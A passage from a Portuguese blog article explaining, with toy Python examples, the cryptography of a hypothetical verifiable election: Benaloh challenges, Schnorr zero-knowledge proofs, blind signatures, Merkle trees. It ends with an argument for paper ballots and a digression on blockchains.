<p>Repare no que acabou de acontecer: você provou que <strong>uma informação está na árvore pública</strong> e que <strong>ninguém mexeu nela</strong>, carregando pra casa apenas um número de 32 bytes que, sozinho, não diz absolutamente nada sobre o conteúdo. É isso que as pessoas querem dizer com &ldquo;zero knowledge&rdquo; nesse contexto: a verificação acontece sem que o conhecimento (o voto) precise circular.</p>
<h2>Peça 4: o desafio de Benaloh — conferindo a urna na hora<span class="hx:absolute hx:-mt-20" id="peça-4-o-desafio-de-benaloh--conferindo-a-urna-na-hora"></span>
    <a href="#pe%c3%a7a-4-o-desafio-de-benaloh--conferindo-a-urna-na-hora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sobrou um ponto cego. A urna mostra na tela &ldquo;voto registrado&rdquo; e imprime seu serial <code>C</code>. Em casa, você confere que <code>C</code> está na árvore. Tudo certo? Nem tanto. E se a urna tiver <strong>mentido</strong> e comprometido outro voto? Na tela ela mostra o candidato que você escolheu, mas por dentro calcula o compromisso de outro. Você jamais perceberia, porque o compromisso é opaco por design. É a propriedade de ocultação trabalhando contra você.</p>
<p>A solução clássica é do criptógrafo Josh Benaloh, e ficou conhecida como <strong>desafio de Benaloh</strong> (ou <em>cast-or-challenge</em>). A ideia: depois que a urna mostra o compromisso <code>C</code> na tela, mas <strong>antes</strong> de você confirmar, existem duas opções:</p>
<ul>
<li><strong>Confirmar</strong>: o voto vale, entra na árvore e o nonce é descartado pra sempre.</li>
<li><strong>Desafiar</strong>: você declara aquela cédula um <strong>voto de teste</strong>. A urna é obrigada a revelar o nonce e o voto que ela pôs dentro do compromisso, e você refaz a conta na hora — num app independente, no seu próprio celular, não no software da urna:</li>
</ul>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># a urna mostrou na tela: C = 1</span>
</span></span><span class="line"><span class="cl"><span class="c1"># você desafiou; a urna revela: voto=1, nonce=3</span>
</span></span><span class="line"><span class="cl"><span class="n">pedersen</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span>   <span class="c1"># True -&gt; a urna comprometeu exatamente o que você escolheu</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se bate, a urna foi honesta <strong>naquela cédula</strong>. A cédula de teste é anulada, não entra na apuração — o nonce revelado a tornaria legível — e você vota de novo, agora pra valer.</p>
<p>Agora suponha uma urna adulterada, que troca uma fração dos votos. Você escolhe <code>voto=1</code>; ela registra por dentro <code>voto=0</code> e mostra <code>C = 12</code> na tela (<code>pedersen(0, 7) = 12</code>). Se você <strong>confirmar</strong>, a fraude passa batida. Mas se você <strong>desafiar</strong>, a urna está encurralada: precisa revelar um par <code>(voto, nonce)</code> que abra <code>C = 12</code>. O único que ela conhece é <code>(0, 7)</code> — e revelar isso expõe a troca na sua frente: &ldquo;eu votei 1!&rdquo;. Abrir como <code>voto=1</code> exigiria achar um nonce <code>n</code> com <code>pedersen(1, n) = 12</code>, que é o problema do logaritmo discreto de novo. Com nosso primo de brinquedo dá pra achar por força bruta (existe: <code>n = 10</code>), mas com primos de 2048 bits a urna trapaceira simplesmente não consegue produzir a resposta.</p>
<p>E o que fecha a armadilha: a urna <strong>não sabe de antemão</strong> se você vai confirmar ou desafiar. A decisão é sua, tomada depois que o compromisso já foi mostrado. Se uma parcela dos eleitores testa algumas cédulas antes de votar pra valer, uma urna que adultera votos em escala é pega com probabilidade esmagadora. Sistemas reais de votação verificável, como o Helios e o ElectionGuard, usam exatamente esse mecanismo.</p>
<p>E note que isso não fere o sigilo de nada: o nonce revelado é de uma cédula <strong>anulada</strong>, que não conta. O voto que vale continua com o nonce descartado e o compromisso impenetrável.</p>
<h2>Peça 5: prova de conhecimento zero de verdade — Schnorr<span class="hx:absolute hx:-mt-20" id="peça-5-prova-de-conhecimento-zero-de-verdade--schnorr"></span>
    <a href="#pe%c3%a7a-5-prova-de-conhecimento-zero-de-verdade--schnorr" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Falta mais uma peça. Quem garante que cada compromisso na árvore contém um <strong>voto válido</strong> — e não, digamos, <code>voto = 500</code>, que inflaria o resultado? A urna precisa provar que o compromisso abre pra um valor legítimo <strong>sem abrir o compromisso</strong>. Isso é uma prova de conhecimento zero no sentido estrito.</p>
<p>O exemplo canônico, e que dá pra demonstrar com números pequenos, é o protocolo de <strong>Schnorr</strong>: provar que você conhece um segredo <code>s</code> tal que <code>y = g^s mod p</code>, sem revelar <code>s</code>. A intuição antes da matemática: é a caverna de Ali Babá. A caverna tem duas passagens que se encontram numa porta trancada. Você prova que tem a chave entrando por um lado e saindo pelo que o verificador pedir — sem nunca mostrar a chave. Se não tivesse a chave, você só acertaria o pedido por sorte, 50% das vezes; depois de 20 rodadas, a chance de enganar é menor que uma em um milhão.</p>
<p>A versão matemática, com nossos números de brinquedo (<code>p = 23</code>, <code>g = 4</code>, ordem <code>q = 11</code>):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">segredo</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">segredo</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>   <span class="c1"># y = 4^7 mod 23 = 8  (valor público)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1. compromisso: o provador escolhe r aleatório e envia t</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="n">t</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>          <span class="c1"># t = 4^3 mod 23 = 18</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. desafio: o verificador escolhe c aleatório</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. resposta: o provador calcula z</span>
</span></span><span class="line"><span class="cl"><span class="n">z</span> <span class="o">=</span> <span class="p">(</span><span class="n">r</span> <span class="o">+</span> <span class="n">c</span> <span class="o">*</span> <span class="n">segredo</span><span class="p">)</span> <span class="o">%</span> <span class="n">q</span>  <span class="c1"># z = (3 + 5*7) mod 11 = 5</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># verificação: g^z == t * y^c (mod p)</span>
</span></span><span class="line"><span class="cl"><span class="n">esq</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>                 <span class="c1"># 4^5 mod 23 = 12</span>
</span></span><span class="line"><span class="cl"><span class="nb">dir</span> <span class="o">=</span> <span class="p">(</span><span class="n">t</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>       <span class="c1"># 18 * 8^5 mod 23 = 12</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">esq</span> <span class="o">==</span> <span class="nb">dir</span><span class="p">)</span>                  <span class="c1"># True</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Funciona porque <code>g^z = g^(r + c·s) = g^r · (g^s)^c = t · y^c</code>. A álgebra fecha. Agora observe o que o verificador viu: os números <code>t</code>, <code>c</code>, <code>z</code> e a conferência final. Em nenhum momento o segredo <code>s = 7</code> apareceu. E um impostor que não sabe <code>s</code> não consegue responder a um desafio arbitrário: se ele chutar <code>z = 2</code>, o verificador calcula <code>g^2 = 16 ≠ 12</code> e a fraude aparece.</p>
<p>E por que o verificador aprende <strong>nada</strong> sobre <code>s</code>, e não apenas &ldquo;pouco&rdquo;? Porque a conversa inteira poderia ter sido fabricada por alguém que <strong>não sabe o segredo</strong>, nesta ordem invertida:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># simulador: escolhe c e z PRIMEIRO, depois calcula t que fecha a equação</span>
</span></span><span class="line"><span class="cl"><span class="n">c_sim</span><span class="p">,</span> <span class="n">z_sim</span> <span class="o">=</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">9</span>
</span></span><span class="line"><span class="cl"><span class="n">t_sim</span> <span class="o">=</span> <span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">z_sim</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="o">-</span><span class="n">c_sim</span> <span class="o">%</span> <span class="n">q</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>  <span class="c1"># t = 8</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># conferência do transcrito forjado:</span>
</span></span><span class="line"><span class="cl"><span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">z_sim</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>              <span class="c1"># 4^9 mod 23 = 13</span>
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="n">t_sim</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">c_sim</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>  <span class="c1"># 8 * 8^5 mod 23 = 13  -&gt; bate!</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O transcrito forjado <code>(t=8, c=5, z=9)</code> passa na verificação e é <strong>indistinguível</strong> de um transcrito real. Se qualquer um consegue fabricar uma conversa válida sem saber o segredo, então a conversa real não pode conter informação nenhuma sobre o segredo. É isso que &ldquo;conhecimento zero&rdquo; significa formalmente. (Pra usar fora de um laboratório, o desafio <code>c</code> é derivado por hash do compromisso — a transformação Fiat-Shamir — e a prova vira um objeto único, não-interativo, que qualquer um verifica offline.)</p>
<p>Na nossa eleição hipotética, a urna publica junto com cada voto uma prova desse tipo — na prática, uma variante em disjunção (&ldquo;o voto é 0 <strong>ou</strong> é 1&rdquo;, sem dizer qual) — e qualquer auditor verifica que todo voto na árvore é válido, sem nunca ver voto nenhum.</p>
<h2>Peça 6: quem impede os votos fantasmas?<span class="hx:absolute hx:-mt-20" id="peça-6-quem-impede-os-votos-fantasmas"></span>
    <a href="#pe%c3%a7a-6-quem-impede-os-votos-fantasmas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Resta um furo, e é um dos favoritos de quem desconfia de eleição digital: o que impede a autoridade de <strong>enfiar votos inventados na árvore</strong>? Cada compromisso na Merkle tree carrega uma prova ZK de que contém um voto válido — mas a prova só garante que o valor é 0 ou 1. Mil votos fantasmas seriam mil compromissos perfeitamente válidos, com provas perfeitamente corretas. A árvore é pública, qualquer um pode contar as folhas&hellip; mas quem garante que deveriam ser 8 e não 8 mil?</p>
<p>A primeira resposta é a replicação. A árvore segue o modelo das <em>transparency logs</em> — o mesmo Certificate Transparency que protege os certificados HTTPS que você usa o dia inteiro: um publicador escreve, e dezenas de observadores independentes (partidos, OAB, universidades, imprensa, você) copiam a árvore, assinam a raiz e conferem entre si. Reescrever o histórico exigiria convencer todos eles a aceitar uma raiz diferente da que já assinaram.</p>
<p>Isso protege o que já foi publicado. Mas e a <strong>criação</strong> de votos fantasmas? Aí entra a peça mais elegante de todas, e ela é do mesmo David Chaum que inventou o dinheiro digital e as mix-nets: a <strong>assinatura cega</strong> (<em>blind signature</em>, 1982).</p>
<p>O fluxo: você se autentica na mesa como hoje — documento, biometria. Na cabine, a urna calcula seu compromisso (Peça 2), mas antes de publicá-lo precisa de uma credencial da mesa. Ela <strong>cega</strong> o compromisso com um fator aleatório e manda pra mesa só o valor cego — e aqui estar online não é problema nenhum, como vimos na seção do air gap. A mesa, que já registrou sua autenticação, assina uma única vez, sem ver o conteúdo. A urna descega a assinatura e publica o par <code>(compromisso, assinatura)</code>. No fim, a mesa não faz ideia de qual compromisso assinou — logo, não consegue vincular sua identidade ao seu voto. Com RSA de brinquedo, dá pra ver a mágica acontecendo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># RSA de brinquedo da mesa: n=3233, e=17 (público), d=2753 (privado)</span>
</span></span><span class="line"><span class="cl"><span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">d</span> <span class="o">=</span> <span class="mi">3233</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">2753</span>
</span></span><span class="line"><span class="cl"><span class="n">C</span> <span class="o">=</span> <span class="mi">16</span>        <span class="c1"># seu compromisso Pedersen, o mesmo da Peça 3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1. a urna cega o compromisso com um fator aleatório r</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="cl"><span class="n">cego</span> <span class="o">=</span> <span class="p">(</span><span class="n">C</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>       <span class="c1"># 2341 -&gt; só isso vai pra mesa</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. a mesa, que já registrou sua autenticação, assina o valor CEGO</span>
</span></span><span class="line"><span class="cl"><span class="n">ass_cego</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">cego</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>      <span class="c1"># 216</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. a urna remove o fator cego e publica (C, s) na árvore</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="n">ass_cego</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>  <span class="c1"># 2802</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># qualquer auditor verifica: s^e mod n == C ?</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span>   <span class="c1"># 16 -&gt; o compromisso, com assinatura válida!</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Repare: a mesa só viu o número 2341, que pra ela é ruído. Ela assinou 216 sem saber que estava assinando o seu <code>C = 16</code>. Mesmo assim, o par <code>(C, s)</code> passa na verificação de qualquer auditor. É uma assinatura digital normal — <code>s</code> é exatamente <code>C^d mod n</code> — só que produzida sem que o signatário visse o documento. Parece truque de mágico, mas é só álgebra do RSA: cegar multiplica por <code>r^e</code>; assinar eleva tudo a <code>d</code>, e como <code>e·d ≡ 1</code>, sobra <code>C^d · r</code>; descegar divide por <code>r</code> e resta <code>C^d</code>.</p>
<p>Agora monte o quadro completo: <strong>uma folha só entra na árvore se vier com duas coisas — a prova ZK de validade (Peça 5) e uma credencial assinada pela mesa (Peça 6).</strong> A mesa emite uma credencial por autenticação, e autenticação é evento público: tem fila na seção, mesário, fiscal de partido, log biométrico, contagem de comparecimento publicada por seção. No fim do dia, a conta que qualquer um confere é:</p>
<p><strong>número de folhas na árvore == número de eleitores autenticados.</strong></p>
<p>Voto fantasma é folha sem credencial (não entra) ou credencial sem eleitor (infla a contagem e aparece). Remover um voto legítimo quebra a prova de inclusão do recibo (Peça 3). Alterar um voto publicado quebra os hashes nas cópias dos observadores. Roubar credenciais exigiria fraudar a biometria na frente dos fiscais. Cada caminho de fraude bate numa parede diferente — e todas as paredes são verificáveis por qualquer um, de casa.</p>
<h2>O elo mais fraco: quem prova que você é você?<span class="hx:absolute hx:-mt-20" id="o-elo-mais-fraco-quem-prova-que-você-é-você"></span>
    <a href="#o-elo-mais-fraco-quem-prova-que-voc%c3%aa-%c3%a9-voc%c3%aa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tudo o que veio antes desta seção é matemática. Mas tem uma porta que nenhuma matemática tranca: a autenticação. Nenhum algoritmo prova que o ser humano parado na sua frente é quem diz ser. Esse é, honestamente, o elo mais fraco do sistema inteiro — e vale encarar de frente.</p>
<p>E aqui o Brasil simplifica o problema, porque já pagou a parte cara: o cadastro biométrico do eleitorado existe e cobre mais de 80% dos eleitores — mais de 124 milhões de pessoas, <a href="https://www.tse.jus.br/comunicacao/noticias/2024/Fevereiro/eleitores-sem-cadastro-biometrico-podem-votar-normalmente"target="_blank" rel="noopener">segundo o TSE</a>. A deduplicação nacional já rodou: um mesmo dedo só existe uma vez no cadastro, por mais que venha acompanhado de dez documentos falsos. E na seção a digital já libera o voto — em 2026, <a href="https://www.tre-mg.jus.br/comunicacao/noticias/2026/Julho/manual-do-eleitor-entenda-como-vai-funcionar-a-biometria-nas-eleicoes-2026"target="_blank" rel="noopener">em todas as seções do país</a>. Pro sistema hipotético deste artigo, a autenticação biométrica é de graça: é reusar o que já está de pé.</p>
<p>Claro que esse cadastro existir é, ele mesmo, a aposta de privacidade: biometria é dado irrevogável — senha você troca, sua digital não. O Aadhaar, o cadastro biométrico da Índia, teve incidentes que expuseram dados de mais de um bilhão de pessoas; a OPM, o RH do governo americano, perdeu 5,6 milhões de impressões digitais num único ataque, em 2015. Um banco de dados biométrico nacional é um ponto único de falha catastrófica e permanente — e o Brasil já fez essa aposta. O sistema hipotético não a piora; só herda.</p>
<p>Pra quem está fora do cadastro biométrico, a seção cai pro documento com foto — e documento se falsifica. Provavelmente se falsifica hoje. Mas repare no que a arquitetura faz com esse problema: uma autenticação forjada emite <strong>uma</strong> credencial, que gera <strong>uma</strong> folha na árvore. Pra fraudar em escala, o criminoso precisa de gente de carne e osso se apresentando pessoalmente, na frente de mesário e fiscal, uma vez por voto falso. É fraude de varejo: cara, visível, lenta. Mil votos falsos exigem mil corpos — e aí já não é fraude digital silenciosa, é logística de ônibus fretado que todo mundo vê passar. O sistema não impede a falsificação; ele <strong>limita o estrago por falsificação a exatamente um voto</strong> e empurra o custo pro mundo físico.</p>
<p>E as anomalias aparecem: a equação da Peça 6 — folhas == autenticações — pode ser conferida seção por seção. Uma seção com 400 eleitores cadastrados e 420 autenticações chama atenção. Padrões regionais de comparecimento acima de 100% chamam atenção. E se a paranoia for grande, a chave de assinatura da mesa pode ser fragmentada como a chave da eleição, exigindo quorum pra emitir credencial.</p>
<p>Resumindo com honestidade: o elo continua físico e humano — um humano provando, uma vez, em público, que está no cadastro — e nenhum sistema, por mais perfeito que seja, o elimina. O melhor desenho possível faz duas coisas com ele: encolhe a superfície de confiança até esse evento único e torna as falhas dele <strong>visíveis</strong> em vez de silenciosas. Com a biometria valendo em todas as seções em 2026, a falsificação de identidade vira o caminho mais caro e menos escalável de todos — que é exatamente onde um sistema bem desenhado quer que ela esteja. Não tem almoço grátis, e fingir que tem é o tipo de discurso que este artigo inteiro se recusa a fazer.</p>
<h2>Juntando tudo: o protocolo completo<span class="hx:absolute hx:-mt-20" id="juntando-tudo-o-protocolo-completo"></span>
    <a href="#juntando-tudo-o-protocolo-completo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A eleição hipoteticamente perfeita ficaria assim:</p>
<ol>
<li><strong>Preparação.</strong> Um grupo de autoridades independentes (TSE, OAB, partidos, sociedade civil) gera em conjunto a chave pública da eleição. A chave privada correspondente fica fragmentada: nenhuma autoridade sozinha consegue decriptar nada; só uma maioria agindo junta.</li>
<li><strong>Autenticação.</strong> O eleitor se identifica na mesa — documento, biometria, como hoje — e a mesa registra a autenticação. Isso autoriza a emissão de <strong>uma</strong> credencial: a assinatura cega de um compromisso, sem que a mesa veja o conteúdo. Nenhum vínculo entre identidade e voto.</li>
<li><strong>Votação.</strong> O eleitor escolhe o candidato na tela. A urna gera um nonce aleatório, calcula o compromisso Pedersen e o ciphertext ElGamal do mesmo voto (o compromisso vira o serial do recibo; o ciphertext é o que será apurado), produz a prova ZK de validade e mostra o compromisso na tela. O eleitor então decide: confirma, e o nonce é descartado — ou desafia, e a urna revela o nonce pra conferência imediata, a cédula é anulada e ele vota de novo. Confirmado, a urna cega o compromisso, a mesa assina sem vê-lo e a urna descega a assinatura.</li>
<li><strong>Publicação.</strong> O compromisso entra numa Merkle tree pública, junto com a prova ZK e a credencial — replicada e assinada por múltiplos observadores independentes. Sem credencial, não entra.</li>
<li><strong>Recibo.</strong> O eleitor leva pra casa um papel com o serial. Ele <strong>não consegue</strong> provar pra ninguém em quem votou — nem que queira, porque não tem o nonce.</li>
<li><strong>Verificação individual.</strong> Em casa, o eleitor baixa a árvore (ou usa qualquer site independente) e confere que seu serial está lá, com a prova de inclusão. Se não estiver, ele tem prova material da fraude.</li>
<li><strong>Verificação universal.</strong> Qualquer cidadão, universidade ou partido refaz a árvore inteira, confere a raiz, valida todas as provas ZK e credenciais, e confere se o número de folhas bate com o total de autenticações publicado por seção.</li>
<li><strong>Apuração.</strong> No fim, os votos encriptados passam por um mix-net (são re-embaralhados e re-encriptados, cortando o vínculo com a posição original) e as autoridades decriptam em conjunto, provando cada passo. O total bate com a raiz pública ou a fraude é evidente.</li>
</ol>
<p>Repare no que mudou em relação ao sistema atual: <strong>não é mais preciso confiar no TSE, na urna, nem em auditor nenhum.</strong> Cada propriedade é verificável individualmente por qualquer pessoa com um computador. É o mesmo princípio que faz o Bitcoin funcionar sem banco central: don&rsquo;t trust, verify.</p>
<p>Antes que alguém anime demais: isso é uma simplificação. Um sistema real precisa ainda resolver credenciais anônimas mais robustas que nossa assinatura cega de brinquedo, disponibilidade da árvore, e uma porção de detalhes operacionais. O ponto aqui é o mecanismo central, não o projeto completo.</p>
<h2>E por que isso nunca funcionaria<span class="hx:absolute hx:-mt-20" id="e-por-que-isso-nunca-funcionaria"></span>
    <a href="#e-por-que-isso-nunca-funcionaria" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora a parte que quase ninguém que propõe esses sistemas quer ouvir.</p>
<p>Volta pro começo do artigo e repara no que eu precisei explicar pra chegar até aqui: funções de hash, compromissos, aritmética modular, logaritmo discreto, árvores de Merkle, o desafio de Benaloh, assinaturas cegas, provas de conhecimento zero, simuladores. Com código, com números, com exemplos passo a passo. E mesmo assim eu aposto que uma parcela boa dos leitores — inclusive programadores — chegou até aqui sem ter certeza de que entendeu de verdade por que o esquema é seguro.</p>
<p>E não é por falta de inteligência. É porque a confiança nesse sistema exige entender matemática que a imensa maioria da população nunca vai entender. O único ser humano que pode ter <strong>100% de certeza</strong> de que esse sistema é correto é aquele que consegue verificar as demonstrações matemáticas por conta própria. Todo o resto — 99,9% da população — não estaria <em>verificando</em> coisa nenhuma. Estaria <strong>acreditando</strong> no matemático que diz que funciona.</p>
<p>E aí chegamos na contradição fatal: se um sistema eleitoral exige que o cidadão comum acredite cegamente num especialista que ele não consegue auditar, ele é <strong>exatamente tão opaco quanto o sistema atual do TSE</strong>. A opacidade só trocou de endereço: em vez de confiar no burocrata do tribunal, você confia no criptógrafo. Pra dona Maria, que vende pastel na feira, tanto faz — os dois são &ldquo;um monte de letrinha que eu não entendo&rdquo;. E um sistema que a população não consegue entender é um sistema cuja legitimidade ela nunca vai aceitar. O cético de hoje que diz &ldquo;não confio na urna&rdquo; viraria o cético de amanhã dizendo &ldquo;não confio nessa álgebra&rdquo;.</p>
<p>Uma eleição não é só um problema de engenharia; é um problema de <strong>confiança social</strong>. O padrão-ouro de transparência não é o sistema mais sofisticado — é o sistema que <strong>qualquer pessoa consegue fiscalizar com os próprios olhos</strong>: cédula de papel, urna de vidro, contagem pública na seção, ata na porta. Qualquer um entende papel sendo contado em público. Ninguém precisa acreditar em ninguém.</p>
<p>É por isso que países muito mais ricos e tecnológicos que o Brasil — Alemanha, Holanda, França, a maior parte dos EUA — continuam com papel ou exigem trilha de papel auditável. Não é atraso. É a constatação de que verificabilidade que só especialista entende não é verificabilidade pública.</p>
<h2>Parêntese: o que as criptomoedas provam todos os dias<span class="hx:absolute hx:-mt-20" id="parêntese-o-que-as-criptomoedas-provam-todos-os-dias"></span>
    <a href="#par%c3%aantese-o-que-as-criptomoedas-provam-todos-os-dias" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de concluir, vale um desvio pra responder à pergunta que sempre aparece: &ldquo;mas isso funciona de verdade ou é teoria de guardanapo?&rdquo;. Funciona. E a prova está rodando há quase duas décadas, movimentando bilhões de dólares, sob ataque constante: as blockchains.</p>
<p>Primeiro, desfazendo um mal-entendido: <strong>blockchain não é sinônimo de criptomoeda.</strong> Como o próprio nome diz, é só uma cadeia de blocos. Cada bloco carrega uma Merkle tree de registros e o hash do bloco anterior. No Bitcoin, o cabeçalho do bloco guarda a raiz da árvore de transações, o hash do bloco anterior, um carimbo de tempo e um nonce — aqui, um contador de mineração — que os mineradores variam até o hash do bloco inteiro cair abaixo do alvo de dificuldade — a tal prova de trabalho. É a Peça 3 deste artigo, estendida no tempo: não uma árvore, mas uma cadeia de árvores, cada uma selando a anterior.</p>
